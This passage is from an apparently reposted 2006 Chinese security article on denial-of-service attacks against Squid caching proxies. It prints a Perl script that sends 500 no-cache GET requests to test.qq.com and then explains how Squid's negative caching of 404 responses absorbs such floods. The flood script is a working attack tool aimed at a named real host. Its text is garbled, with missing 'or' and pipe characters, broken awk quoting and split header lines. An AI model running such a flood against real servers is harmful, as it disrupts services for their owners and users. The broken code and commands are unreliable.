2006-12-6 15:44:24 作者:模板天下收集整理 来源:未知 网友评论 0 条
论坛
演示代码:
use IO::Socket;
#$host=shift(@ARGV);
$i=1;
while ($i<500) {
$i++;
print "\n$i\n";
$remote = IO::Socket::INET->new(Proto => "tcp",
PeerPort => "80",
#PeerAddr => "blog.xfocus.net"
PeerAddr => "test.qq.com"
) die(print "cant't connet $!");
$remote->autoflush(1);
print $remote "GET /index.html HTTP/1.1\r\nAccept:image/gif image/x-xbitmap,
image/jpeg,application/x-shockwave-flash\r\nReferer: http://www.google.com\r\nAccept:-
Language: zh-cn\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\r\nCache-Control:no-
cache\r\nHOST:test.qq.com\n\n";
#print <$remote>;
close $remote;
#sleep 1;
} |
实际应用
利用配置问题
在实际应用中的攻击,也许对方网管会采取作Squid的ACL方法来屏蔽此种攻击,但是实际环境中的攻击种类和方法会更加多样化,例如利用Squid默认配置中存在的问题,一样可以达到灵巧利用此问题,并具有一定隐蔽性。
场景某网管在Squid通过ACL做了no-cache过滤,使得加杂no-cahce的指令无法穿过,但是一样遭到了Cache拒绝服务攻击。
攻击原理
Squid的处理方式当返回为404、403时,通过cache处理减轻后台Web系统的负担。
通过程序用GET方式访问500次不存在的文件“index.html。”
查看squid的日志,cache住了绝大多数请求。
root@coolc:~/squid-2.5.STABLE12# cat squid_access.log wc -l
499
root@coolc:~/squid-2.5.STABLE12# cat squid_access.log awk '{print $4'} uniq -c
499 TCP_NEGATIVE_HIT/404
root@coolc:~/squid-2.5.STABLE12# cat apache-access_log wc -l
0 |
而实际上传到到Apache上的压力为0,也就是几乎没有压力。TCP_NEGATIVE_HIT解决了大多数的负载,导致攻击压力全部不能施加在后台的Web服务器。